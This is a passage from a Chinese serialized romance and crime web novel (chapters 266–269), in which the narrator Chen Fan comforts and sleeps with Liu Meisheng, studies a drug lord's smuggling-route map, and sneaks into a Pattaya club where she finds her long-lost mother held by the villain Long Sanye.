“在我很小的时候,有人闯进我房间,达叔不在,保镖被调开了,父亲出差在香港,那人是从窗户爬进来的,喝了酒,满身烟味。”她停顿了一下,语气平静得像在念一份与己无关的报告,“我用床头柜里的剪刀捅了他三下,第一下他按住我了,第二下他松手了,第三下他就倒下去了。”
“我吓坏了,我以为我**了。我打电话给达叔,他十分钟就到了,他看了地上的人,说小姐你没**,他只是晕了,然后达叔把他拖出去,处理干净。第二天我听说公司有个中层管理人员辞职了,说是家里有事,回老家了。我没问达叔他去了哪里,他也没说。”
她抬起眼睛看着我,她目光有些冷,仿佛变了一个人。
“所以你看,我从小就开始**了,只是以前有人替我善后,替我背负那些血债。”
说到这里,柳媚笙的声音微微颤抖。
“只不过,现在那个人不在了。”
我看着她,她的眼眶里汇聚成了两汪浅浅的河流,即将夺眶而出。
“达叔……”我说道:“他是希望你能好的,他希望你能活下来。”
“你怎么知道?”
“他最后看了我一眼。”我顿了顿,道:“他不是让我带你走,他是让我帮你,他信你一个人也能站起来,只是需要时间。”
她咬着下唇,嘴唇渗出一丝血色,然后她深吸一口气,忍住了泪水。
“陈凡,你帮我包扎一下手吧。”她伸出右手,掌心摊开,那串**项链还攥在指间。
“刚才翻墙的时候被玻璃划了,我自己弄不好。”
我接过她的手看了一眼,她的伤在虎口。
虽然只是一道细长的口子,已经不流血了,但边缘有些红肿,我从床头柜翻出医药箱,用碘伏棉签小心擦拭。她轻轻“嘶”了一声,但没有缩手。
她看着我的动作,忽然说:“你给人包扎的样子,很像达叔。”
我没有抬头,继续缠纱布。
“他也这样,不说话,手很稳,缠绷带的时候会留一指的松紧度,说太紧了血液不流通,太松了没用。”她的声音很轻。
“他教过我很多东西,怎么识破跟踪,怎么在饭局上挡酒,怎么看人的眼神判断他有没有撒谎,但他从没教过我这些事。”她抬起缠着纱布的手,“因为他
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舍不得我碰这些东西。”
我缠好最后一圈,然后打了个结,抬头。
她正看着我,眼睛里倒映着窗外的月光,亮得像两颗坠落的星。
“陈凡。”
“嗯。”
“今天晚上,你能不能不要走?”
“好!”
我答应了她,我知道她现在最需要我的陪伴。
夜风从窗缝钻进来,撩起她鬓边一缕碎发,我伸出手,把那缕碎发轻轻别回她耳后。
然后我倾身,吻在了她的眼睛上。
她的眼睛装着泪水的味道,她闭上眼睛,呼吸急促起来,手指攥紧了我的衣角,我感觉到她的颤抖。
“我怕。”她的声音破碎成片,“陈凡,我怕。”
“怕什么?”我问。
“怕这一切都是梦,怕你明天就离开,怕我醒来发现你根本没有来过清迈,达叔也没有死,我还困在那个永远醒不过来的噩梦里。”她睁开眼,泪水终于滑落。
“我更怕的这不是梦。”
“柳媚笙。”我叫她的名字,一个字一个字,很慢,很稳。
她看着我。
“今天不是梦,清迈不是,达叔不是,你也不是。”我说道:“我这里,就在这里。”
她看着我的眼睛,看了很久很久,然后她忽然笑了,那笑容里有一种释然,也有一点认命。
“陈凡,你知道吗?”她轻声说道:“我活了三十三年,从来没有主动争取过任何一个人。”
她抬起那只没有缠纱布的手,轻轻覆上我的脸颊。她的手心滚烫,指尖冰凉。
“我怕被拒绝,怕付出没有回报,怕到头来只剩自己一个人,所以我总是算计,总是权衡,总是把所有人都当成可以舍弃的棋子。”
她顿了顿,眼泪又涌出来。
“但这一次,我不想再算计了。”
“陈凡,我要你。”
她的唇落下来,带着泪水的咸涩。
我回应她。
她的手指穿过我的发,她的眼泪沾湿我的脸,她的心跳隔着单薄的衣料撞进我的胸腔,她的身体紧紧的贴着我。
“别走……”她的声音在我唇边呢喃道:“陈凡,别离开我……”
266柳媚笙的脆弱(下)!
我没有回答。
我只是抱紧她,把她揉进我的身体里。
她看了看我腹部的伤口,然后温柔道:“今晚,我在上面……”
我笑着亲吻了她……
柳媚笙低下身子,亲吻了我……
半个小时后,她躺在我的怀里,脸颊绯红……
“没想到你受伤还那么厉害。”她笑着对我说。
“谁让你太迷人了。”我摸着她的脸爱怜道。
我知道,这一番折腾,让她忘掉了一些不开心,也让她的情绪缓和了许多。
我摸着她的眉眼,她的眉眼特别妩媚好看,让我着迷。
柳媚笙忽然问我:“陈凡,你知道我什么时候开始怕你的吗?”
“怕?”我有些不解:“你为什么要怕我?”
她摇了摇头道:“不是怕你,是……”
“就是在你为了救夏颜,第一次来酒吧找我的时候,我才知道我对你的感受……”
她伸出手,轻轻抚摸我的手。
“那天我们发生了关系,可是在你走了之后,我才发现自己会想起你,我想起你看我的眼神,明明防备,却还是答应了我的要求,想起你救夏颜时候的决绝,你的语气是那么稳,就像天塌下来都能撑住。”
“说真的,那一刻,我真的好羡慕夏颜,觉的有个男人来疼是真的好,所以,你让我觉得……”
她顿了顿,自嘲地笑了笑,没有再说下去。
“觉得什么?”我追问。
“让我觉得,如果有一天我真的需要有人来救我,你会来。”
“所以你来清迈的时候,我一点都不意外。”她的声音轻得像叹息,“就好像……我一直在等你来。”
我们两个彼此沉默,心照不宣。
“陈凡。”她轻声叫我。
“嗯。”
“你会后悔吗?”
“不会。”我说。
她怔了一下。
“我从来不做后悔的事。”我顿了顿,“做过的事,就是做过了,要走的路,就是走下去。”
她没有再问我,只是把头靠在我胸口。
许久,我低头一看,她已经睡着了,睡梦中,她的手还紧紧攥着我的衣角,像怕一松手我就会消失不见。
我轻轻拨开她额前的碎发,露出她光洁的额头。
那个风情万种的柳老板,那个运筹帷幄的柳媚笙,此刻躺在我怀里,像个终于找到避风港的孩子。
……
当柳媚笙醒来时,已经是早上了。
她睁开眼,先是一阵茫然的恍惚,然后慢慢聚焦,看到我坐在床边,正用湿毛巾擦拭手臂上干涸的血迹。
她就那样痴痴的看着我,像个女色狼一样,看到她这样,我放心了,她又恢复了原来的那样,那个运筹帷幄的柳老板。
“你身材可真好。”柳媚笙道。
“你的更好,胸更大,更挺!”
“讨厌!你喜欢就好!”
柳媚笙的脸瞬间红了,竟然有一种惊心动魄的美。
“我去楼下拿早餐。”我站起身。
“陈凡。”她叫住我。
我回头,问道:“怎么了?”
“醒来见到你,真好。”
这是一个平常的早晨,柳媚笙的简单一句话,在我们共同经历了生与死后,显得弥足珍贵。
“我也是。”说完,我就转身下楼。
身后,她轻轻笑了,那笑声像晨光一样温暖。
楼下,老韩已经把早餐摆上桌。白粥、煎蛋、炒青菜,还有一碟泰式辣酱。简单,但热气腾腾。
“柳小姐呢?”老韩问。
“马上下来。”
我话音刚落,楼梯上就传来轻轻的脚步声。
柳媚笙走下来,换了一件干净的白衬衫,头发整齐地披在肩上,脸上还有刚洗过脸的湿润。她又恢复了往日那个从容淡定的柳老板。
她在餐桌旁坐下,拿起筷子,安静地开始吃早餐。
老韩退到厨房。客厅里只剩下我们两个人。
沉默了一会儿,她忽然开口:
“陈凡。”
“嗯。”
“吃完早餐,我们继续整理那些信件吧。”她的声音平静而坚定道:“父亲留下的东西,不止这些。龙三爷在乎的,也不止这些。”
我看着她。
她的眼神清明,没有逃避,没有闪躲。昨夜那个脆弱得仿佛随时会碎掉的她,已经重新把自己拼起来了。
“好。”我说。
她点点头,继续喝粥。
楼梯上传来脚步声,林峰快步下楼,手里拿着平板电脑,脸色凝重。
“陈先生,柳小姐。”他把平板放在桌上,道:“周老爷子来消息了。”
屏幕上是一份加密文件。
文件的标题写着:**计划,“三角—清迈港—华南通道完整布局图”。
龙三爷的命脉,终于露出了第一道裂纹。
柳媚笙放下筷子,拿起平板,手指在屏幕上轻轻滑动。她的眼神专注而冷静,像一位棋手审视棋盘。
“陈凡。”她说,
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没有抬头。
“嗯。”
“这一次,我们主动出击。”
“好。”
随后,柳媚笙恢复了那种女强人的风采,她不停的在查看资料,阅读周老给的东西。
柳媚笙的可怕之处在于,她总是能找到她想找到的有用的点。
柳媚笙的手指在平板上缓缓滑动,屏幕上的地图和标注的密密麻麻,每一条线、每一个标记都像用刀刻进她眼底。
我坐在她对面,没有催促,安静地喝完碗里最后一口粥。
良久,她抬起头,眼神里有种淬过火的冷静。
“陈凡,龙三爷这个局,至少用了三年的时间。”
“你来看。”
柳媚笙将平板推给了我,我接过平板,看到她的标记。
屏幕上是一张金三角的运输完整路线图,从缅甸掸邦的**种植区开始,经过泰北的清迈、清莱,一条走海路从清迈港出发,经泰国湾北上,最终抵达我国沿海的某个港口。
“**计划。”柳媚笙的声音平静的道:“他用我母亲最喜欢的项链命名,我不知道龙三爷取这个名字是挑衅还是怀念,或者两者都有。”
“或许……是在**?”我随口说道。
“**?”
“媚笙,都说母子连心,你觉的你母亲真的**吗?”我认真的问道。
“你说!什么!”柳媚笙惊讶道:“陈凡,你的意思是,我的母亲还没有死?”
我摇了摇头道:“我也不确定,但我感觉龙三爷的举动很奇怪,他为什么对你母亲的**,这么有执念?而且,你们都说你母亲**,可是谁看到了?都是听说吧?”
“是!是!”
柳媚笙激动的点了点头,她似乎看到了些希望。
“我觉得,有些事还是眼见为实,不过我说的都是我的猜想,我们还是研究这份地图吧。”
“嗯!”
虽然柳媚笙轻轻回应我,但我能感觉到她内心的期待。
我仔细看着地图上的标注,这里每一个节点都有详细的标记,包括罗种植区的产量预估、运输路线的换乘点、沿途的贿赂对象、清迈港的守卫换班时间、海上的接应船只……
“这不是一份简单的计划书,这是一条完整的**走私产业链的命脉,拿到这份东西,龙三爷的整个网络就暴露了。”我看向她。
“不止。”柳媚笙摇头道:“你看这里。”
她伸手,指出了一个用红圈标注的位置:清迈港。
267柳媚笙的母亲!
柳媚笙指着平板电脑,分析道:“**计划第一阶段:控制清迈港,打通海上通道,第二阶段:整合金三角货源,建立直供体系。第三阶段:渗透海外市场,建立分销网络。”
她抬起头看了看我说道:“陈凡,这就是一个野心帝国分布图。”
我皱着眉头,我没想到龙三爷这么大岁数,竟然还在谋划这种规模的东西。
“看来野心这东西,和年轻无关啊!”我不由的感慨道:“如果让龙三爷做成功了,他的地位和实力直线上升,到时候他会对周家发起攻击。”
“林峰回来了吗?”我问道。
柳媚笙摇了摇头,忽然楼下传来了一阵刹车的声音,虽然很轻,可是却瞒不过我的耳朵。
“林峰回来了?”她轻声问。
“不像。”我走到窗边,透过窗帘的缝隙向外看。
院子里停下一辆黑色的轿车,不是林峰开出去的那辆。车门打开,下来的是老韩,他快步走向别墅门口,身后跟着一个穿着深色衣服的男人,身形瘦削,步伐稳健。
“好像是周家的人。”我说道:“但不是林峰那队的。”
柳媚笙走到我身边,也向外看了一眼,眉头微皱。
楼下传来敲门声,然后是老韩低沉的说话声。片刻后,脚步声上楼。
敲门声响起时,我已经站在门后。
“陈先生,柳小姐。”老韩的声音隔着门板传来,急促道:“周老爷子派人送急件过来,需要你们亲自接收。”
我拉开门,老韩身后站着一个四十岁左右的男人,面容普通,眼神精明,手里提着一个银色的加密箱。
“陈先生好,柳小姐好。”那人微微欠身,道:“我叫周明,周老爷子让我把这个交给你们,并转达几句话。”
他把加密箱放在桌上,输入一串密码,箱**开。里面是一部加密手机和一沓文件。
周明拿起手机,拨通一个号码,然后把手机递给柳媚笙。
“老爷子的电话。”
柳媚笙接过手机,放到耳边。
“周老,您好……”她的声音很稳,但眼神里有一丝紧张。
电话那边传来周老的声音,我听不太清,柳媚笙静静的听着,我看着她的脸,发现她的表情从紧张变成了疑惑,最后又变成了震惊!
她到底听到了什么消息!
“周老,您说什么?”她的声音陡然拔高道:“龙三爷来芭提雅?现在?”
我眉头一皱,龙三爷怎么突然来芭提雅?
柳媚笙继续听着,脸色越来越白,她的手紧紧攥着手机,指节发白,呼吸明显急促起来。
“他要见……一个女人?”她的声音开始颤抖,“什么女人?”
电话那头又说了几句,然后柳媚笙猛地抬起头,看向周明。
“照片呢?”
周明从加密箱里拿出一张照片,递给她。
柳媚笙接过照片,只看了一眼,整个人就像被雷击中一样,僵在原地。
她的嘴唇剧烈颤抖,眼眶瞬间涌满泪水,然后那泪水像决堤的洪水一样滚落下来,她双腿发软,几乎站不住,我一步上前扶住她。
“不……不可能……”她几乎是哭着说出来的,她握着我的手,道:“陈凡,这绝对不可能……”
我看向她手里的照片。
那是一张偷拍的照片,背景是芭提雅某条街道,照片中央是一个女人,大约五十多岁,穿着素雅的碎花裙子,头发整齐地盘在脑后,面容清瘦,但眉眼间有一种让人无法忽视的温柔和坚毅。
那是一张和柳媚笙极其相似的脸。
不,不是相似。
是一个模子刻出来的。
照片上的女人,除了年纪大一些,几乎就是柳媚笙的中年版。同样的眉眼,同样的唇形。
我的脑海里闪过一个念头!这个女人该不会是柳媚笙的母亲吧!
柳媚笙抓着我的手臂,指甲深深陷进肉里。
“这是我母亲……”她的声音轻得像从另一个世界传来的,“可她应该已经**二十多年了……”
电话那头,周老爷子还在说着什么,但柳媚笙已经听不进去了。手机从她手里滑落,掉在地上,屏幕摔出裂纹。
周明弯腰捡起手机,对着话筒说了几句什么,然后挂断电话。
“柳小姐,老爷子让我转告您,他知道这个消息对您来说很难接受,但这确实是千真万确的情报,龙三爷后天晚上会来芭提雅,在一家叫‘海月’的私人会所见这个女人。老爷子已经派人盯着那家会所,确认那个女人这几天一直住在那里。”
“不可能……”柳媚笙摇着头,泪水不停地流,“我母亲……我亲眼见过她的遗物,看过她的遗书,她……”
她突然停住了。
她像是想到了什么一样
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,最后恍然大悟!
那些信,那些被父亲珍藏多年、直到死后才由陈伯转交给她的信。
她猛地推开我,跌跌撞撞地冲向她的房间,我跟在后面,看着她翻出那个木盒,把里面的信件全部倒出来,一封一封地看,手指剧烈颤抖,好几次把信纸都撕破了。
“这些信……”她抬起头,满脸泪痕,“这些信是我母亲的笔迹没错,但信里写的……信里写的……”
她说不下去了。
我拿起一封信,快速浏览。信的内容我大概记得,是柳媚笙母亲写给父亲的,诉说龙三爷如何逼迫她,如何威胁她,如何让她无路可走。
但如果柳媚笙的母亲没有死,这些信又是怎么回事?
一个可怕的猜想浮现在脑海里。
“这些信,可能是你母亲被迫写的。”我缓缓开口道:“用来制造她死亡的假象,让你父亲放弃寻找她。”
柳媚笙抬起头,眼神里有种濒临崩溃的茫然。
“你是说……我母亲当年……被龙三爷带走了?囚禁了二十多年?”
“不一定囚禁。”我斟酌着措辞,道:“也许……也许是某种交易,用她的消失,换取你们父女的安全。”
“交易……”柳媚笙喃喃重复着这个词,突然笑了,那笑容比哭还难看,“所以……所以我母亲这二十多年一直活着,在某个我不知道的地方活着,而我父亲他什么都知道,却骗了我二十多年,让我以为她**?”
她双手捂住脸,痛哭了起来。
周明和老韩互相看了一眼,然后很有默契的离开了,客厅里只剩下我和柳媚笙。
我蹲在她面前,没有伸手碰她,只是看着她。
“柳媚笙。”我轻声叫她的名字。
她没有回应,只是哭,哭得像要把二十多年的眼泪一次流干。
“柳媚笙。”我又叫了一声,声音重了一些。
她慢慢放下手,抬起红肿的眼睛看着我。那张平时精致完美的脸此刻狼狈不堪,泪水混着鼻涕,头发散乱,嘴唇被咬破,渗出血丝。
“陈凡……”她的声音沙哑得像砂纸,“我好乱……我好乱……我不知道该怎么办……”
我看着她。
“你想见她吗?”
她愣住了。
“你母亲。”我说,“既然她后天晚上会出现在芭提雅,那就有机会见到她,你想见吗?”
268柳媚笙的愿望!
柳媚笙张了张嘴,没说出话来。这个问题太沉重,太复杂,太撕心裂肺。
她的眼泪就在眼睛里闪烁着。
一个消失了二十多年、以为**二十多年的人,突然出现,是她吗?真的是她吗?如果是她,为什么这么多年不联系?为什么不回来?如果不是她,那照片上的人又是谁?世界上怎么会有如此相像的两个人?
柳媚笙的嘴唇颤抖了很久,最后挤出一个字:
“想。”
一个想字,嘴唇轻轻一碰,可里面却承载了许多的重量,足够压垮柳媚笙了。
我站起身,走到门口,拉开门。
周明还站在走廊里。
“告诉周老爷子,我们需要那家会所的全部资料,布局图、守卫情况、龙三爷到达的时间、那个女人活动的规律。”我一字一顿,道:“越详细越好。”
周明点点头,转身离开。
我回到柳媚笙身边,在她旁边的地板上坐下。她靠在我肩上,浑身还在轻微颤抖,但哭声渐渐止住了。
“陈凡。”
“嗯。”
“你说……她会不会不想见我?”
我沉默了几秒,抽了根烟道:“不知道。”
“如果她不想见我,那我……”
“那就让她见。”我说道:“二十年了,有些账,总要算清楚。”
柳媚笙没有再说话,只是把头埋在我肩上,手指攥着我的衣角,攥得紧紧的。
我搂着柳媚笙,我现在能做的,就是尽一切力量满足她的要求。
天亮时,周明带着资料回来了。
海月会所,芭提雅最隐秘的私人会所之一,坐落在市区以南十公里的一处私人海滩上。会所不对外营业,只接待特定的客人,安保严密,进出都需要验证身份。
那个女人住在会所最里面的独栋别墅里,已经住了五天。这五天里,她几乎没出过门,只有两次在傍晚时分到海边散步,每次都有两个保镖跟随。
“老爷子的人拍到过她散步的照片。”周明从加密箱里又拿出几张照片。
照片上,那个女人穿着素色的长裙,赤脚走在沙滩上,海风吹起她的裙角和发丝。她望着海的方向,脸上有一种复杂的表情,像是怀念,又像是悲伤,还像是一种解脱前的平静。
柳媚笙看着那些照片,手指轻轻抚过照片上那个女人的脸,眼泪又一次无声地滑落。
“她老了……”她喃喃着道:“她瘦了好多……”
我不知道该说什么,任何语言在这种时刻都显得苍白。
周明继续说:“龙三爷后天晚上八点会到会所。随行人员预计十到十五人。他会和那个女人单独见面,地点是别墅的客厅。见面的时间,老爷子的人推测,可能持续一到两个小时。”
“见面的目的呢?”我问。
“还不清楚。但老爷子猜,可能和**计划有关。”周明顿了顿,道:“也可能是……更私人的事。”
柳媚笙猛地抬起头。
“你是说……”
周明没说话,但他的沉默已经是一种回答。
更私人的事?
这二十多年的囚禁,或者二十多年的……什么?柳媚笙的母亲,和龙三爷之间,到底是什么关系?
那个念头太可怕,没人敢说出口。
柳媚笙的脸色惨白如纸。她咬着下唇,咬得渗出血来,却浑然不觉。
“我要亲自去。”她的声音很轻,但每一个字都像钉子。
“后天晚上,我要亲自去那家会所。”柳媚笙说道。
“太危险了。”周明立刻说,“老爷子不会同意的。”
“我不需要他同意。”柳媚笙站起身,走到窗边,背对着我们,“这是我母亲。二十多年了,我欠她一个真相,也欠自己一个真相。”
我看着她单薄的背影,在晨光中微微颤抖,却挺得笔直。
“我陪你去。”我说。
她转过头,看着我。泪痕还挂在脸上,但眼睛里已经没有了刚才的茫然和崩溃,取而代之的是一种决绝的平静。
“陈凡,这次可能真的是九死一生。龙三爷的随行人员,会所的守卫,还有……”她顿了顿,“还有那个我二十多年没见的女人,她到底是受害者还是……我不知道会面对什么。”
“我知道。”我走到她面前道:“但你想过没有,如果这次不去,你会后悔一辈子。”
她看着我,眼泪又涌出来,但这次她笑了,那笑容里有一种破碎后的释然。
“你怎么总是说中我心里的话?”
我没有回
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答。
可我知道,四十八小时后,一切都会有答案。
那个女人到底是谁。
她和龙三爷之间到底有什么纠葛。
她为什么消失二十多年又突然出现。
以及柳媚笙,这个以为自己早就失去母亲的女人,将以什么样的姿态,面对那个本该死去的人。
客厅里安静了很久。
柳媚笙站在窗边,看着外面波光粼粼的海面。阳光照在她脸上,把她眼角那颗泪痣映得像一粒凝固的血。
“陈凡。”
“嗯。”
“如果……如果她真的和龙三爷有什么……我是说,如果她是自愿的……”
她没有说完,但我知道她在问什么。
如果那个她心心念念了二十多年的母亲,不是受害者,而是同谋。如果那些年深日久的思念和痛苦,都建立在谎言之上。
那她该怎么办?
我走到她身边,和她并肩看着窗外。
“那就问清楚。”我说,“问清楚之后,再做决定。”
“如果她选龙三爷呢?”
“那就让她选。”
柳媚笙转过头看着我。
“陈凡,你……你总是这么冷静。好像什么事都打不倒你。”
“不是打不倒。”我说,“是倒下了,也得爬起来。”
她看着我,看了很久。然后她轻轻靠在我肩上,闭上眼睛。
“陈凡。”
“嗯。”
“谢谢你。”
晚上七点五十分。
芭提雅以南十公里,海月会所外围的红树林里,我和柳媚笙潜伏在齐腰深的海水中。
远处的会所灯火通明,周明趴在我右侧三米外的另一片红树林后,他通过微型耳机低声汇报情况:“陈总,发现正门守卫四人,两小时轮换一次,后院海滩有两组巡逻,每组两人,每十五分钟交汇一次,别墅内部有六名固定岗,加上龙三爷随行的十到十五人……”
“总共二十五个左右。”我接过话头道:“正面强攻没戏。”
“周老的人已经在海滩北侧待命。”周明说道:“但不到万不得已不能动用,这次行动的核心是……”
他看向柳媚笙的方向,没有说下去。
柳媚笙没有说话,只是死死盯着远处那栋别墅……
269重逢,柳媚笙的母亲(上)!
七点五十五分。
远处传来汽车引擎的声音,我抬眼望去,有三辆黑色轿车驶向会所正门,车灯在夜色中划出刺眼的光束。
我知道,这是龙三爷到了。
柳媚笙的身体剧烈颤抖了一下,我握紧她的手,小说声的说道:“我在这里。”
车队在别墅门口停下,车门打开从里面先下来四个黑衣保镖,他们迅速散开,警戒四周。
然后中间那辆车的后门打开,一个头发花白、穿着白色西装的老者走下车。
隔着两百多米的距离,我看不清他的脸,但那种阴冷的气场,那种让人本能警觉的危险气息,隔着这么远都能感觉到。
龙三爷。
他站在车边,抬头看了一眼别墅的二楼,然后整理了一下西装,缓步走进门内。
“他进去了。”周明低声说道:“目标人物已经在客厅等候。”
柳媚笙的呼吸急促起来,我知道她这是紧张了。
“再等五分钟,等他们部署完毕,防线固定下来。”我说道。
这五分钟,像一个世纪那么长。
柳媚笙的视线一刻也没有离开那栋别墅。我不知道她在想什么——是期待,是恐惧,还是两者都有?
二十多年了,那个本以为死去的人,就在两百米外的那间屋子里,只要再近一点,就能看到她的脸,听到她的声音。
八点整。
“行动。”我低声道。
我们悄无声息地从红树林中摸出,沿着海岸线向别墅靠近,周明带着三个秘卫从侧面迂回,负责切断可能的退路和制造干扰。
我带着柳媚笙去后院,那里虽然有巡逻,但每十五分钟的交汇期给了我们三分钟的窗口。
我们摸到别墅后院的沙滩边缘,与巡逻队刚刚交错而过,这正好是一个机会。
我看到别墅的后门是一扇玻璃推拉门,我决定从这里进入,我拉着柳媚笙的手,她在颤抖,我轻声问道:“你能行吗?”
她深吸一口气,点了点头。
于是我轻轻推开一条门缝,侧身滑入,柳媚笙紧随其后。
我们贴着墙根向走廊移动,客厅的方向传来低沉的说话声,一男一女,听不清内容,但那种语调……
柳媚笙的脚步顿了一下,她的手死死抓着我的手臂,指甲几乎刺进肉里。
那个女人的声音,我知道,那就是柳媚笙的母亲。
那个她只在记忆深处的声音,此刻就在十几米外,真真切切地响着。
她浑身剧烈颤抖,眼眶瞬间涌满泪水,我一把捂住她的嘴,把她拉进走廊旁边的储物间,门刚刚关上,客厅方向就传来脚步声。
一个保镖从走廊经过,距离储物间的门不到一米。柳媚笙屏住呼吸,眼泪无声地滑落。
脚步声远去,我松开手,她立刻大口喘气道:“陈凡,是她,真的是她……”
我点了点头,我也听出来了,那个声音里有一种特殊的质感,和柳媚笙的嗓音一模一样,是温柔中带着韧劲,软糯里藏着刚强。
“我们等龙三爷离开,再进去。”我说道。
“可是……”
“你现在进去,惊动保镖,我们都得死。”我盯着她的眼睛,道:“你已经等了二十多年,再等一个小时,你等得起。”
柳媚笙咬着嘴唇,她最后还是听了我的话。
我们挤在储物间角落里,透过门缝观察外面的动静。柳媚笙的身体一直在发抖,我伸手揽住她,把她按在怀里,感受着她急促的心跳。
客厅里的谈话断断续续传来,听不清内容,但能感觉到那种压抑的气氛,没有争吵,只有一种像是谈判又像是叙旧的平静。
大约四十分钟后,客厅方向传来脚步声,然后是开门声。
龙三爷要走了。
我们从门缝里看到那个白色西装的身影从走廊经过,步履稳健,背脊挺直,完全不像一个七十多岁的老人。他身后跟着四个保镖,没有人注意到储物间这扇不起眼的门。
脚步声远去,大门关闭,汽车引擎发动,渐渐消失在夜色中。
别墅里安静下来。
柳媚笙猛地站起身,拉开门就要冲出去,我一把拽住她。
“等等,守卫还在。”我小声道。
她回头看我,眼睛里有火焰在燃烧。
“那要等到什么时候?”
“现在。”
我拉开门,探头看了一眼走廊,空无一人。客厅方向传来轻微的走动声,应该是那个女人。
我向柳媚笙点了点头。
她深吸一口气,迈出脚步。
走廊不长,十几步就走到了头,客厅的门虚掩着,柳媚笙站在门口,手抬起来,悬在半空,却怎么也落不下去。
因为那扇门后面,是她二十多年来日思夜想的人。
是她以为早已死去的人。
她的手剧烈颤抖,呼吸急促得像要窒息。
我握住她的手,轻轻推开了那扇门。
客厅很大,一个穿着素色长裙的女人站在窗前,背对着我们,望着那片海。
听到开门声,她缓缓转过身。
那一刻,时间瞬间凝固!
就连我,也呆立在当场!
那是一张和柳媚笙极其相似的脸,同样的眉眼,同样的唇形,只是面容比柳媚笙苍老一些,眼角多了细纹,鬓边多了白发,但那双眼睛,盛满了二十多年的沧桑,还有某种深不见底的悲伤。
柳媚笙站在原地,她的嘴唇剧烈颤抖,想说什么,却一个字也说不出来,眼泪像决堤的洪水一样涌出来,顺着脸颊滚滚而下。
那个女人也愣住了,她的眼睛瞬间睁大,脸色变得惨白,身体微微晃了一下,扶住窗台才稳住。
许久,那个女人先开口,她的声音很轻柔,但每个字都敲击在柳媚笙的心上。
“小笙?”
她整个人像被抽空了所有力气,双腿一软,跪倒在地。
“妈……”
那个字从她嘴里吐出来,带着二十多年的思念还有撕心裂肺的痛。
女人踉跄着走过来,也跪倒在地,伸手捧起柳媚笙的脸,手指颤抖着抚摸她的眉眼,她的泪痕。
“小笙,我的小笙……”她的眼泪也涌了出来,哭着说道:“你长这么大了……”
柳媚笙抓住她的手,死死抓着,像怕她下一秒就会消失。
“为什么你这么多年都不回来?为什么你要让我以为你**?”
女人的眼泪流得更凶了,她张了张嘴,想解释,却发不出声音。
就在这时,一个声音从客厅另一侧的门后传来。
“因为她没有选择。”
那是一道苍老而沙哑的男声,带着浓重的缅甸口音。
我和柳媚笙同时转头。
是龙三爷!
柳媚笙瞬间站了起来,挡在她母亲身前,我的手已经按在腰间的枪上。
龙三爷看着我们,嘴角慢慢弯起一个诡异的笑容。
“柳丫头,好久不见。”他的声音像砂纸摩擦,道:“上次在清迈没能好好招待你,这次补上。”
柳媚笙的母亲猛地站起身,挡在我们和龙三爷之间。
“龙三,你答应过我的!”她的声音尖锐而颤抖道:“你说过,只要我跟你走,只要我不反抗,你就不动他们父女!你说过的!”
龙三爷的笑容更深了。
“我是说过,我也做到了,不是吗?你丈夫平平安安活到老死,你女儿长这么大,没病没灾,没被仇家**。我哪一点没做到?”
“那现在呢?现在你把她引到这里来是什么意思?”
“什么意思?”龙三爷歪了歪头,像看一场好戏,道:“意思就是,这个游戏,玩了二十多年,该结束了。”
他看向柳媚笙,眼神里有一种说不清的东西,不是仇恨,不是贪婪,而是一种近乎病态的欣赏。
“柳丫头,你知道吗?你母亲是我这辈子唯一真心想要的女人。”他的语气平静得像在聊家常,“可她看不上我。她选了那个窝囊废柳文山,生了你,一家三口其乐融融,我呢?我在金三角刀口舔血,她连正眼都不给我一个。”
“所以我就用了点手段。那些信,那些威胁,那些照片,我只是想让她明白,在这片土地上,没有我龙三办不到的事。”
柳媚笙的母亲浑身颤抖,眼泪不停地流。
“二十三年了。”龙三爷继续说道:“我带着
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她在缅甸、老挝、泰国到处走,给她最好的生活,最安全的环境,可她呢?她心里永远只有那个死鬼柳文山,只有你这个女儿,每天晚上做梦都喊你的名字。”
他顿了顿,声音陡然变冷。
“我受够了。”
柳媚笙死死盯着他,眼睛里有仇恨的火焰在燃烧。
“所以你今天让我来,就是为了……”
“为了让你亲眼看看。”龙三爷打断她道:“看看你母亲这二十三年是怎么过的。看看她选的那个窝囊废,能不能从坟墓里爬出来救她……”
龙三爷掏出枪,对准了柳媚笙的母亲。
龙三爷看了看柳媚笙道:“要么你留下,换你母亲走。要么你母亲留下,换你走,只能活一个。”
客厅里安静得可怕。
柳媚笙的母亲猛地转过身,抱住她。
“小笙,别听他的!你快走!从后门走!外面有人会接应你!”
柳媚笙没有动,她看着我。
我在她眼里看到了一种决绝的平静。
“如果我留下,”她的声音平静得可怕,“你真的会放我母亲走?”
“小笙!”母亲尖叫起来道:“不要!”
“会。”龙三爷的笑容越来越大,道:“我龙三说话算话。你留下,你母亲立刻可以离开,我保证没人动她一根头发。”
柳媚笙点了点头。
“好,我留下。”
那一刻,客厅里的空气仿佛凝固了。
龙三爷愣了一下,然后哈哈大笑起来,笑声在空旷的客厅里回荡,像夜枭的鸣叫。
“好!好!不愧是柳文山的女儿,有骨气!”他笑够了,挥了挥手,道:“放她走。”
龙威收起枪,示意母亲可以离开。
母亲跌跌撞撞地跑向柳媚笙,却被两个保镖拦住,她挣扎着,哭喊着,却挣不开那些铁钳一样的手。
“小笙!小笙你不能这样!妈妈对不起你!妈妈……”
柳媚笙没有回头。
她的眼睛一直看着我。
那双眼睛里,有泪,有笑,有一种向死而生的释然。
“陈凡。”她轻声说,“带我妈妈走。”
我看着她的眼睛,看了三秒钟。
然后我动了。
不是走向门口,而是走向她。
我一把抓住她的手,把她拽回我身边,同时另一只手拔出**,对准龙三爷。
“谁都不用留。”我说,“要走一起走。”
柳媚笙紧握着我的手,手心全是汗,但没有颤抖。
“龙三爷,做个交易吧。”我说。
“交易?”龙三爷挑了挑眉,“你有什么资格和我做交易?”
我慢慢从怀里掏出一样东西,那份**计划的完整地图,是从龙威随从身上偷来的复制件。
“这个够不够?”
龙三爷的眼神瞬间变得锐利无比。
“你怎么会有这个?”
“这不重要。”我说道:“重要的是,如果你不放人,这份东西明天就会出现在泰国警方、缅甸军阀、还有所有对这块肥肉感兴趣的人手里。”
龙三爷盯着我,盯了很久,客厅里安静得能听见窗外海浪的声音。
然后,他突然笑了。
“好,好,好。”他连说三个好字,转头看向柳媚笙的母亲,道:“兰馨,你女儿找的这个男人,比你找的那个强。”
他挥了挥手。
“放人。”
保镖们松开母亲。她跌跌撞撞地跑过来,一把抱住柳媚笙,母女俩抱头痛哭。
龙三爷看着这一幕,脸上那种诡异的笑容始终没有消失。
“柳丫头,今天我们扯平了。”他的声音很轻,“但你记住,这个游戏还没结束。总有一天,我们还会再见面的。”
他对龙威点了点头,和龙威一起离开。
客厅里只剩下我们三个人。
